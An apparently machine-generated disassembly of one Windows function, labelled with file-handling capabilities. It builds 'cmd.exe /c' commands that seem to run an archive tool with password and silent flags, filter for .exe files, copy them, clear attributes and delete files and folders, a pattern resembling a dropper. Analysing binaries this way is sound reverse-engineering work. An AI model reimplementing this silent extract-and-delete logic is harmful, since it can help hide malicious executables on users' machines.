Function at 0x10003a14
Capabilities:
Check if file exists
Copy file
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x1098]
mov eax, 0x1118
call fcn.10012960
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x1094], eax
mov eax, dword [ebp + 0x10a0]
push 0x1002c6a8
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10003d4f
push ebx
push esi
push edi
mov esi, 0x400
push esi
xor ebx, ebx
lea eax, [ebp + 0xb90]
push ebx
push eax
call fcn.1000f9c0
mov edi, 0x800
push edi
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.1000f9c0
push dword [ebp - 0x80]
lea eax, [ebp + 0xb90]
push 0x1002c6a8
push str.cmd.exe__c__s_vb__ibck___y__p____s__find__i__.exe_
push eax
call fcn.100118df
push 0x7ff
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0xb90]
push eax
call fcn.100028b8
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x7c], eax
call fcn.100211bd
lea eax, [ebp - 0x70]
push 0x10022b34
push eax
call fcn.10011500
add esp, 0x40
jmp 0x10003b02
push 0x10022b34
push dword [ebp - 0x7c]
call fcn.10011500
mov dword [ebp - 0x78], eax
mov byte [eax], bl
add eax, 0xfffffffc
push str..exe
push eax
call fcn.100128d0
add esp, 0x10
test eax, eax
je 0x10003b0b
mov eax, dword [ebp - 0x78]
add eax, 2
push 0x10022b34
push eax
mov dword [ebp - 0x7c], eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10003ac5
jmp 0x10003d4c
push esi
lea eax, [ebp + 0x790]
push ebx
push eax
call fcn.1000f9c0
push 0x104
lea eax, [ebp + 0xf90]
push ebx
push eax
call fcn.1000f9c0
push 0x5c
push dword [ebp - 0x7c]
call fcn.10011440
add esp, 0x20
test eax, eax
je 0x10003cbe
mov eax, dword [ebp - 0x7c]
push 0x5c
push eax
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], eax
call fcn.10011440
pop ecx
pop ecx
jmp 0x10003b71
inc dword [ebp - 0x78]
push 0x5c
push dword [ebp - 0x74]
call fcn.10011440
inc eax
push 0x5c
push eax
mov dword [ebp - 0x74], eax
call fcn.10011440
add esp, 0x10
test eax, eax
jne 0x10003b55
push dword [ebp - 0x7c]
lea eax, [ebp + 0x790]
push str._s.._
push eax
call fcn.100118df
add esp, 0xc
lea eax, [ebp + 0x790]
push eax
mov dword [ebp - 0x74], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10003bed
push esi
lea eax, [ebp + 0xb90]
push ebx
push eax
mov dword [ebp - 0x74], 1
call fcn.1000f9c0
push edi
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp + 0x790]
push eax
lea eax, [ebp + 0xb90]
push str.cmd.exe__c_md___s_
push eax
call fcn.100118df
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0xb90]
push eax
call fcn.100028b8
add esp, 0x30
lea eax, [ebp + 0x790]
push eax
lea eax, [ebp + 0xf90]
push 0x10022b0c
push eax
call fcn.100118df
add esp, 0xc
push 1
lea eax, [ebp + 0xf90]
push eax
push 0x1002c120
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
lea eax, [ebp + 0xb90]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp + 0xf90]
push eax
push dword [ebp - 0x80]
lea eax, [ebp + 0xb90]
push 0x1002c6a8
push str.cmd.exe__c__s_a__inul__y__ep2__o____s____s_
push eax
call fcn.100118df
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0xb90]
push eax
call fcn.100028b8
add esp, 0x38
lea eax, [ebp + 0xf90]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x74], 1
jne 0x10003d4c
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp + 0x790]
push eax
call esi
mov edi, dword [ebp - 0x78]
cmp edi, ebx
jle 0x10003d4c
lea eax, [ebp + 0x790]
push 0x10022ad8
push eax
call fcn.10011a90
pop ecx
pop ecx
lea eax, [ebp + 0x790]
push eax
call esi
dec edi
jne 0x10003c9a
jmp 0x10003d4c
lea eax, [ebp + 0xf90]
push 0x10022acc
push eax
call fcn.10011a80
pop ecx
pop ecx
push 1
lea eax, [ebp + 0xf90]
push eax
push 0x1002c120
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
lea eax, [ebp + 0xb90]
push ebx
push eax
call fcn.1000f9c0
push edi
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.1000f9c0
add esp, 0x18
push ebx
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0xf90]
push eax
push dword [ebp - 0x80]
lea eax, [ebp + 0xb90]
push 0x1002c6a8
push str.cmd.exe__c__s_a___y__ep__o____s____s_
push eax
call fcn.100118df
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0xb90]
push eax
call fcn.100028b8
add esp, 0x20
lea eax, [ebp + 0xf90]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1094]
xor ecx, ebp
call fcn.10011586
add ebp, 0x1098
leave
ret